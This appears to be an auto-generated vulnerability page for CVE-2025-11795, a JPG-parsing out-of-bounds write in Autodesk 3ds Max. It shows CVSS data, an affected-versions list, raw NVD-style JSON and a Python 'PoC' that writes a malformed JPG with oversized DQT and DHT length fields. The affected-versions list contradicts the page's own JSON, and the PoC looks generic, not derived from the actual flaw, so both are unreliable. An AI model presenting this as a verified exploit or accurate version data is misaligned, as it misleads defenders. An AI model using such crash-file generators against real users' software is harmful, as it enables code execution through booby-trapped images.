Security Vulnerability Report
中文
CVE-2025-11795 CVSS 7.8 HIGH

CVE-2025-11795

Published: 2025-11-12 17:15:35
Last Modified: 2025-11-17 19:22:37

Description

A maliciously crafted JPG file, when parsed through Autodesk 3ds Max, can force an Out-of-Bounds Write vulnerability. A malicious actor can leverage this vulnerability to execute arbitrary code in the context of the current process.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:autodesk:3ds_max:*:*:*:*:*:*:*:* - VULNERABLE
Autodesk 3ds Max < 2025.2 (未修复版本)
Autodesk 3ds Max 2024 所有版本
Autodesk 3ds Max 2023 所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-11795 PoC - Malicious JPG File Generator for Autodesk 3ds Max This PoC demonstrates the structure of a malicious JPG file that triggers an Out-of-Bounds Write vulnerability in Autodesk 3ds Max JPG parser. WARNING: This code is for educational and security research purposes only. Do not use this code for malicious purposes. """ import struct import os def create_malicious_jpg(): """ Create a malformed JPG file designed to trigger OOB write in 3ds Max """ # Start of Image (SOI) marker jpg_data = b'\xFF\xD8' # APP0 marker (JFIF marker) jpg_data += b'\xFF\xE0' jpg_data += struct.pack('>H', 16) # Length jpg_data += b'JFIF\x00' # Identifier jpg_data += b'\x01\x01' # Version 1.1 jpg_data += b'\x00' # Aspect ratio units jpg_data += struct.pack('>HH', 1, 1) # Thumbnail dimensions # DQT marker with oversized data (triggers OOB write) jpg_data += b'\xFF\xDB' # Length field - set to cause buffer overflow oversized_length = 0xFFFF # Malformed length jpg_data += struct.pack('>H', oversized_length) # Malformed quantization table data # This data will cause out-of-bounds write when parsed for i in range(128): # Oversized data jpg_data += bytes([(i * 17) % 256]) # SOF0 marker (Start of Frame) jpg_data += b'\xFF\xC0' jpg_data += struct.pack('>H', 11) # Length jpg_data += b'\x08' # Precision (8 bits) jpg_data += struct.pack('>HH', 1024, 1024) # Malformed dimensions jpg_data += b'\x01\x01' # Number of components jpg_data += b'\x01\x11\x00' # Component data # DHT marker with malformed data jpg_data += b'\xFF\xC4' jpg_data += struct.pack('>H', 0x7FFF) # Oversized length for i in range(256): jpg_data += bytes([i]) # SOS marker (Start of Scan) jpg_data += b'\xFF\xDA' jpg_data += struct.pack('>H', 12) jpg_data += b'\x01' # Number of components jpg_data += b'\x01\x00' # Component selector jpg_data += b'\x00\x3F\x00' # Spectral selection # Malformed scan data for i in range(512): jpg_data += bytes([i % 256]) # End of Image (EOI) marker jpg_data += b'\xFF\xD9' return jpg_data def save_poc(): """Save the PoC file""" output_dir = 'poc_output' os.makedirs(output_dir, exist_ok=True) output_path = os.path.join(output_dir, 'CVE-2025-11795_malicious.jpg') jpg_data = create_malicious_jpg() with open(output_path, 'wb') as f: f.write(jpg_data) print(f'[+] PoC file created: {output_path}') print(f'[+] File size: {len(jpg_data)} bytes') print('[!] This file is designed to trigger CVE-2025-11795 in Autodesk 3ds Max') print('[!] Do not open this file in production environments or systems you do not own') if __name__ == '__main__': save_poc()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11795", "sourceIdentifier": "[email protected]", "published": "2025-11-12T17:15:34.780", "lastModified": "2025-11-17T19:22:36.510", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A maliciously crafted JPG file, when parsed through Autodesk 3ds Max, can force an Out-of-Bounds Write vulnerability. A malicious actor can leverage this vulnerability to execute arbitrary code in the context of the current process."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:autodesk:3ds_max:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026", "versionEndExcluding": "2026.3", "matchCriteriaId": "2A8AEDD4-C173-4992-BB67-3E3F90BAF832"}]}]}], "references": [{"url": "https://www.autodesk.com/products/autodesk-access/overview", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.autodesk.com/trust/security-advisories/adsk-sa-2025-0023", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}